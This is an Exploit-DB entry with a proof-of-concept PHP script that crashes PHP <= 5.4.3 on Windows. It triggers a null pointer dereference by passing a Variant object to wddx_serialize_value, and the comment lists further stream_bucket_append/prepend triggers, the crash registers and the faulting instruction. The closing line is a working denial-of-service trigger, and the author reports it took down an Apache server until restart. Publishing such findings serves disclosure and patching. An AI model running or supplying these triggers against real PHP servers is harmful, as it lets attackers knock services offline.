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PHP <= 5.4.3 - wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce



EDB-ID: 18909 CVE: N/A OSVDB-ID: 82306
Author: condis Published: 2012-05-21 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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<?php 

/*

PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce
Author : condis
Date : 10.04.2012 AD
Website : http://cond.psychodela.pl

----

Download : http://php.net/downloads.php

Tested on:
	
	PHP 5.3.8  + Windows XP SP3 Professional PL
	PHP 5.3.10 + Windows XP SP3 Professional PL
	PHP 5.4.0  + Windows XP SP3 Professional PL
	PHP 5.4.3  + Windows XP SP3 Professional PL
	
Description:

wddx_serialize_value and wddx_serialize_vars functions fails to handle Variant 
object when it is given as a first argument. 

Registers: 

	EAX 00000000 
	ECX 1056AAE8 php5ts.1056AAE8
	EDX 100EFCE0 php5ts.100EFCE0
	EBX 01032AB0
	ESP 00C0FAE0
	EBP 00000000
	ESI 0121E478
	EDI 0121CB50
	EIP 1028F22E php5ts.1028F22E

Crash:

	1028F22E   8A45 25          MOV AL,BYTE PTR SS:[EBP+25] 

Situation looks pretty much the same for both wddx_serialize_vars and 
wddx_serialize_value. Also functions stream_bucket_prepend and stream_bucket_append 
have some problems with handling Variant object when given as a second argument:

stream_bucket_append(1, new Variant(1));
stream_bucket_prepend(1, new Variant(1));

PS : Variant object is only available in PHP for Windows OS and it was implemented 
in PHP > 4.1.0 and PHP 5. 

For more details check : http://php.net/manual/en/class.variant.php

PS2: After running this via webserver my Apache wasn't able to handle requests
anymore and I had to restart him :)

kthxbye

*/

wddx_serialize_value(new Variant(666)); 

?>